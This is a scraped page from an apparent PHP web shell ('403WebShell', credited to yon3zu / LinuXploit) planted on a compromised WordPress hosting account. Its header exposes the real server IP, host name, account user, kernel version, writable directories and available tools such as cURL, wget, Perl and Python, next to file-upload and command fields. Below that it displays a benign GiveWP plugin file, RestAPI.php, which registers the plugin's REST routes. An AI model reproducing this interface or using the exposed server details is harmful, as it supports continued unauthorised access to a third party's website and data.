Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.116.47.194
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/ServiceProviders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/ServiceProviders//RestAPI.php
<?php

namespace Give\ServiceProviders;

use Give\API\Endpoints\Logs\FlushLogs;
use Give\API\Endpoints\Logs\GetLogs;
use Give\API\Endpoints\Migrations\GetMigrations;
use Give\API\Endpoints\Migrations\RunMigration;
use Give\API\Endpoints\Reports\AverageDonation;
use Give\API\Endpoints\Reports\FormPerformance;
use Give\API\Endpoints\Reports\Income;
use Give\API\Endpoints\Reports\IncomeBreakdown;
use Give\API\Endpoints\Reports\PaymentMethods;
use Give\API\Endpoints\Reports\PaymentStatuses;
use Give\API\Endpoints\Reports\RecentDonations;
use Give\API\Endpoints\Reports\TopDonors;
use Give\API\Endpoints\Reports\TotalDonors;
use Give\API\Endpoints\Reports\TotalIncome;
use Give\API\Endpoints\Reports\TotalRefunds;
use Give\API\RestRoute;
use Give\DonationForms\V2\Endpoints\FormActions;
use Give\DonationForms\V2\Endpoints\ListDonationForms;
use Give\DonationForms\V2\Endpoints\SwitchDonationFormView;
use Give\Donations\Endpoints\DonationActions;
use Give\Donations\Endpoints\ListDonations;
use Give\Donations\Endpoints\SwitchDonationView;
use Give\Donors\Endpoints\DeleteDonor;
use Give\Donors\Endpoints\ListDonors;
use Give\Donors\Endpoints\SwitchDonorView;
use Give\Subscriptions\Endpoints\ListSubscriptions;
use Give\Subscriptions\Endpoints\SubscriptionActions;
use Give\Subscriptions\Endpoints\SwitchSubscriptionView;

class RestAPI implements ServiceProvider
{
    /**
     * @var string[] array of RestRoute classes
     */
    private $reportRoutes = [
        PaymentStatuses::class,
        PaymentMethods::class,
        FormPerformance::class,
        TopDonors::class,
        RecentDonations::class,
        Income::class,
        IncomeBreakdown::class,
        AverageDonation::class,
        TotalDonors::class,
        TotalIncome::class,
        TotalRefunds::class,
        GetLogs::class,
        FlushLogs::class,
        ListDonationForms::class,
        ListDonors::class,
        ListDonations::class,
        ListSubscriptions::class,
        SwitchDonorView::class,
        SwitchDonationView::class,
        SwitchDonationFormView::class,
        SwitchSubscriptionView::class,
        DonationActions::class,
        SubscriptionActions::class,
        DeleteDonor::class,
        FormActions::class,
        GetMigrations::class,
        RunMigration::class,
    ];

    /**
     * @inheritDoc
     */
    public function register()
    {
    }

    /**
     * @inheritDoc
     */
    public function boot()
    {
        add_action('rest_api_init', [$this, 'registerRoutes']);
    }

    /**
     * Calls the route registrations within the WordPress REST API hook
     *
     * @since 2.8.0
     */
    public function registerRoutes()
    {
        foreach ($this->reportRoutes as $route) {
            /** @var RestRoute $route */
            $route = give()->make($route);

            $route->registerRoute();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit